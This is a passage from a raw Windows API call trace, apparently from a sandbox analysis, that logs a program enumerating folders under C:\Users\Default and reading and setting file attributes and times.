ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.888] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0092.888] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0092.889] GetLastError () returned 0x12 [0092.889] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fce18) returned 1 [0092.889] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0092.889] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efd60) returned 1 [0092.889] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0092.889] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="")) returned 1 [0092.889] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0092.890] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Documents" (normalized: "c:\\users\\default\\documents"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0092.890] CreateFileW (lpFileName="C:\\Users\\Default\\Documents" (normalized: "c:\\users\\default\\documents"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0092.890] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0092.890] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x126d560 [0092.890] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x126d560, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x126d560, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0092.891] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0092.891] NtClose (Handle=0x164) returned 0x0 [0092.891] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0092.891] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0092.891] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efd60 [0092.892] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fce18 [0092.892] FindFirstFileExW (in: lpFileName="C:\\Users\\Default\\Documents\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0092.893] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.893] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0092.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0092.893] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0092.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0092.894] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0092.894] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0092.894] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f95d8 [0092.894] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd1d0 [0092.895] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0092.895] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="")) returned 1 [0092.895] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="")) returned 1 [0092.895] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="")) returned 1 [0092.895] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="")) returned 0 [0092.895] GetLastError () returned 0x12 [0092.895] FindFirstFileExW (in: lpFileName="C:\\Users\\Default\\Documents\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9200 [0092.895] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0092.895] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.895] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0092.895] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="")) returned 1 [0092.895] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0092.895] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Documents\\My Music" (normalized: "c:\\users\\default\\documents\\my music"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.896] CreateFileW (lpFileName="C:\\Users\\Default\\Documents\\My Music" (normalized: "c:\\users\\default\\documents\\my music"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0092.896] GetLastError () returned 0x5 [0092.896] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0092.896] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0092.896] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd258 [0092.897] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd2e0 [0092.897] FindFirstFileExW (in: lpFileName="C:\\Users\\Default\\Documents\\My Music\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0xffffffff [0092.897] GetLastError () returned 0x5 [0092.897] FindFirstFileExW (in: lpFileName="C:\\Users\\Default\\Documents\\My Music\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0xffffffff [0092.897] GetLastError () returned 0x5 [0092.897] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd2e0) returned 1 [0092.898] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd258) returned 1 [0092.898] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0092.898] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="")) returned 1 [0092.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0092.898] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Documents\\My Pictures" (normalized: "c:\\users\\default\\documents\\my pictures"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.899] CreateFileW (lpFileName="C:\\Users\\Default\\Documents\\My Pictures" (normalized: "c:\\users\\default\\documents\\my pictures"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0092.899] GetLastError () returned 0x5 [0092.899] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0092.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0092.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd258 [0092.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd2e0 [0092.900] FindFirstFileExW (in: lpFileName="C:\\Users\\Default\\Documents\\My Pictures\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0xffffffff [0092.900] GetLastError () returned 0x5 [0092.900] FindFirstFileExW (in: lpFileName="C:\\Users\\Default\\Documents\\My Pictures\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0xffffffff [0092.900] GetLastError () returned 0x5 [0092.900] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd2e0) returned 1 [0092.900] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd258) returned 1 [0092.901] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0092.901] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="")) returned 1 [0092.901] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0092.901] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Documents\\My Videos" (normalized: "c:\\users\\default\\documents\\my videos"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.901] CreateFileW (lpFileName="C:\\Users\\Default\\Documents\\My Videos" (normalized: "c:\\users\\default\\documents\\my videos"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0092.901] GetLastError () returned 0x5 [0092.902] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0092.902] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0092.902] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd258 [0092.902] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd2e0 [0092.902] FindFirstFileExW (in: lpFileName="C:\\Users\\Default\\Documents\\My Videos\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0xffffffff [0092.903] GetLastError () returned 0x5 [0092.903] FindFirstFileExW (in: lpFileName="C:\\Users\\Default\\Documents\\My Videos\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0xffffffff [0092.903] GetLastError () returned 0x5 [0092.903] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd2e0) returned 1 [0092.903] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd258) returned 1 [0092.903] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0092.903] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="")) returned 0 [0092.904] GetLastError () returned 0x12 [0092.904] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fce18) returned 1 [0092.904] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0092.904] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efd60) returned 1 [0092.904] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0092.904] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="")) returned 1 [0092.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0092.905] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Downloads" (normalized: "c:\\users\\default\\downloads"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.905] CreateFileW (lpFileName="C:\\Users\\Default\\Downloads" (normalized: "c:\\users\\default\\downloads"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0092.905] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0092.905] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x126d560 [0092.905] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x126d560, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x126d560, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0092.906] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0092.906] NtClose (Handle=0x184) returned 0x0 [0092.906] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0092.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0092.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efd60 [0092.907] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fce18 [0092.907] FindFirstFileExW (in: lpFileName="C:\\Users\\Default\\Downloads\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9200 [0092.907] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.907] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0092.907] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0092.908] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0092.908] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0092.908] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0092.908] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0092.908] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f95f8 [0092.909] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd258 [0092.909] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0092.909] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0092.909] GetLastError () returned 0x12 [0092.909] FindFirstFileExW (in: lpFileName="C:\\Users\\Default\\Downloads\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0092.909] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0092.909] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.910] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0092.910] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, 